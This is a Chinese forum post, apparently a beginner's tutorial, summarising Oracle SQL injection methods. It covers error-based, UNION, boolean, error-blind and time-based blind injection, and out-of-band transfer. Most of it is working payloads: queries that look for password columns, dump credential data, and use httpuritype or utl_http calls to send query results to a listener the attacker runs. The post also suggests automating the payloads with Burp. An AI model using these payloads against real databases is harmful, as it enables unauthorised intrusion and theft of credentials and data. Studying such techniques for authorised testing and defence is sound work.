自己总结的Oracle注入初级篇

最近在自己实际的渗透测试过程中,发现所遇到的注入以Oracle为多,所以最近简单总结了一下Oracle注入的语句和方法;没有什么技术含量,牛牛们请飘过,欢迎拍砖(被打脸才能更好的进步
另外本文作为初级篇,只是从SQL注入的角度,谈一谈自己对于最近遇到的各种Oracle注入点的注入方法,暂时没有涉及到一些DBA提权,代码执行,把Oracle注入点转换成Cmdshell等操作,关于这方面我也正在学习,过一段时间应该也会发一篇自己的学习心得。
同时真心感谢各位牛牛对我之前问题的解答和回复~

本篇文章大概会分为5个部分:


  • 识别注入点
  • 显错注入
  • 联合查询
  • 各种盲注
  • 带外传输

【1】识别注入点
判断注入点:使用经典的单引号,and 1=1,1=2即可,视具体环境可能需要进行一些绕过的操作。
确定数据库类型,可以通过||,如and '12'='1'||'2' ;或者可以使用 and exists(select * from dual/user_tables) 。
这一方面比较简单,这里就不赘述了~~

--------------------------------------------------------------------------------------------------------------------------------------------------
【2】显错注入
在能够显示出具体报错信息的情况下,个人更加倾向使用报错注入,这样能够以一个更快的速度,去获取我们想要的信息。
具体方式我们可以使用经典的

or 1=utl_inaddr.get_host_address((sql注入语句))           //这里注意要加双层括号哦~不然会提示缺失表达式;以及注意短路求值机制,我们必须让这条语句得到执行,另外优先级为先and后or
这个函数的本意是获取ip地址,但是如果传递参数无法得到解析就会返回一个oracle错误并显示传递的参数。我们传递的是一个sql语句所以返回的就是语句执行的结果。oracle在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有:

1 当前用户权限 select * from session_roles where rownum=1
2 当前数据库版本 select banner from sys.v_$version where rownum=1
3 服务器出口IP 用utl_http.request 可以实现
4 服务器监听IP select utl_inaddr.get_host_address from dual
5 服务器操作系统 select member from v$logfile where rownum=1
6 服务器sid 远程连接的话需要,select instance_name fromv$instance;
7 当前连接用户 select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual

信息收集完毕,开始注入,先来查找可能含有后台密码信息表和列:
查看名字类似于PASSWORD的表有几个:

select count(*) from user_tab_columns where column_name like '%25PASS%25'
接下来,鉴于使用where rownum=1 and table_name<>‘前面查到的表名’的方法需要在不等号的后面不断地添加新的表名,操作起来较为繁琐,这里给出了另外的一种注入方法:
select data from (select rownum as limit,table_name||'--->'||column_name as data from user_tab_columns where column_name like '%PASSWORD%') where limit =2   //由于rownum的伪列性质,这里要嵌套,不然会提示未选定列
这样只要修改一个数字即可实现得到信息,方便挂载到burp上自动来跑~

查列名:

select data from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name=你刚才查到的tablename) whEre limit =1
爆数据:
Select data from (selEct rownum as limit,PASSWORD||chr(35)||id||chr(35)||列名1||chr(35)||列名2||chr(35)||列名3 as data from 表名        //使用||一次性查出一堆数据
--------------------------------------------------------------------------------------------------------------------------------------------------
【3】联合查询
(以下内容为可union select,有回显的情况下)

判断字段数:order by N (数字型或者注释可用)   union select null,null,null  from ... (引号包裹且注释符不可用)

确定字段N的值后,and 1=2 union select NULL,NULL,.... from dual 再把这些NULL逐步的替换成数字,变成数字报错的话,就用字符去试,最终确定所有字段的数据类型。

找到回显位置后,我们可以通过把回显位置的数字换成下列语句来获取信息:
获取数据库版本:select banner from sys.v_$version where rownum=1
获取操作系统版本:select member from v$logfile where rownum=1
获取当前连接数据库的用户:select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’)from dual
......省略......

信息收集完毕,接下来来获取表的信息:

select table_name from user_tables where rownum=1
select table_name from user_tables where rownum=1 and table_name<>’第一个表名’
或者我们想要快一点的话,就像报错注入一样,使用:
select data from (select rownum as limit,table_name||'--->'||column_name as data from user_tab_columns where column_name like '%PASSWORD%') where limit =N
这样就可以获取到所有表的名字。

获取列的信息:

select column_name from user_tab_columns where table_name=’manage’ and rownum=1
select column_name from user_tab_columns where table_name=’manage’ and rownum=1 and column_name<>’第一个列名’
快一点的方法:
select data from (select rownum as limit,column_name as data from user_tab_columns whEre table_name=你刚才查到的tablename) where limit =N
从而可以获得所有的列名。

获取数据:

and 1=2 union select 1,2,列名,4,5,6 from 表名
快一点的方法就是通过使用||,来一次性查出多个列中的数据。

获取其他的数据库:

select owner from all_tables where rownum=1
select owner from all_tables where rownum=1 and owner<>’第一个数据库库名’
从而就可以获取到所有的数据库。

--------------------------------------------------------------------------------------------------------------------------------------------------
【4】各种盲注
在注入点由于无法回显、或者SQL语句难以闭合导致无法使用union select或者注释,或者报错时并不显示出详细的报错信息时,基本就需要盲注了。

[boolean-based blind]
例如在一个查询处,我们可以通过name=xxX得到一条正确的数据,这时候就可以使用布尔型的盲注(以获取user表的长度为例) :

xxX' and (select length(user) from dual)=N or '1'='1     //N为我们猜测的长度,即直接使用and一个与注入有关的表达式,来做布尔型的判断。
或者我们可以使用基于值的方式:
xx'||decode((SELECT length(user) from dual),N,'X','1') or '1'='1    //decode即相当于ORACLE中的if语句,如果长度为N就返回最后一位X,即让查询成功。
获取user表的内容:
xxX' and (ascii(substr((select user from dual),1,1)))=猜测的ascii码 or '1'='1
[error-based blind]
在自己最近的一些实际渗透测试过程中,得到的一些测试账号,是没法查询到数据库中的数据的,尽管能够报错,报错中又不会给出具体的错误信息,在这个时候,就需要使用另一种方法。
比如最近遇到一个注入点,尽管会报错但是并不爆出具体信息,无法报错注入;SQL语句未知且注释不可用导致union select无法闭合;查询本身是没有返回数据的,所以也不能使用布尔型blind;在这个情况下,我们使用error-based-blind(在没查询数据但能报错的时候,通过是否报错来判断表达式是否正确):
这里同样用到了decode(),以及能够使数据库报错的case()函数:
(select cast(需要转换的值 as 新的数据类型) from dual)    //我们在试图把一个形如'yy'的字符串转换为int型的时候,ORACLE数据库会报错
[ps:注意函数参数整体都要用括号包裹起来,否则会提示缺少右括号,原理就是把‘yy’这样的字符串cast成int的时候会报Invalid Value的错误]
从而我们最终的注入语句为:
123' or 1=(select cast((decode((SELECT length(user) from dual),N,'1','yy')) as int) from dual) or '1'='1
从而可以得到user的长度。
获取每一位的数据:
123' or 1=(select cast((decode((ascii(substr((select user from dual),1,1))),1,'1','yy')) as int) from dual) or '1'='1
使用burpsuit来把大写字母的ASCII遍历一遍,最终得到user的名称。
另外,除了把字母遍历一遍之外,还可以使用bitand(),把每个字母的ASCII分别与1,2,4,...128进行按位与运算,从而只需要发8次数据,就能得到它的二进制表示的ascii码。

[time-based blind]

 and (select length(user) from dual)=N or 1=dbms_pipe.receive_message('RDS',5)       -- 同样是使用短路求值的思路,or后面的表达式最终会返回真。
and  (select length(user) from dual)=4 or 1=utl_http.request('http://10.0.0.1/ '||('a')||'.html') ;       -- 正确则不延迟
[heavy-query]
可以实现类似于time-based blind的效果,原理即通过执行一个较为消耗资源的查询,造成数据库的延迟,再通过返回是否延迟来判断猜测的结果。
and  (select length(user) from dual)=6 or 1<(SELECT count(*) FROM all_users A, all_users B, all_users C,all_users D,all_users E); 
在我们的N是正确的情况下,数据库并不会产生延迟;如果错误,则会产生延迟。

--------------------------------------------------------------------------------------------------------------------------------------------------
【5】带外传输,即将盲注变为回显型注入的方法
即在Oracle拥有外网权限的时候,可以让Oracle把查询的结果拼接到URL里,去访问这个URL,再在我们的服务器上监听端口即可得到查询结果。(同样以查询当前用户为例)

and (select httpuritype('127.0.0.1:8888/'||(select user from dual)).getclob() from dual) is not null;
或者也可以使用utl_http.request等函数。
测试效果如下:
image

以上算是自己对于Oracle注入初级利用方式的一点小总结,纯属新手扫盲贴,如有疏漏之处恳请各位大牛不吝指正,谢谢。


为您推荐了相关的技术文章:

  1. 泛微 E-Mobile Ognl 表达式注入 +漏洞分析 - 我不兽
  2. MYSQL报错注入的一点总结|漏洞研究 - 安全技术社区
  3. Error Based SQL Injection
  4. Joomla 3.4.4 注入 0day 分析
  5. [转载]Mysql下Limit注入方法 | 离别歌

原文链接: www.t00ls.net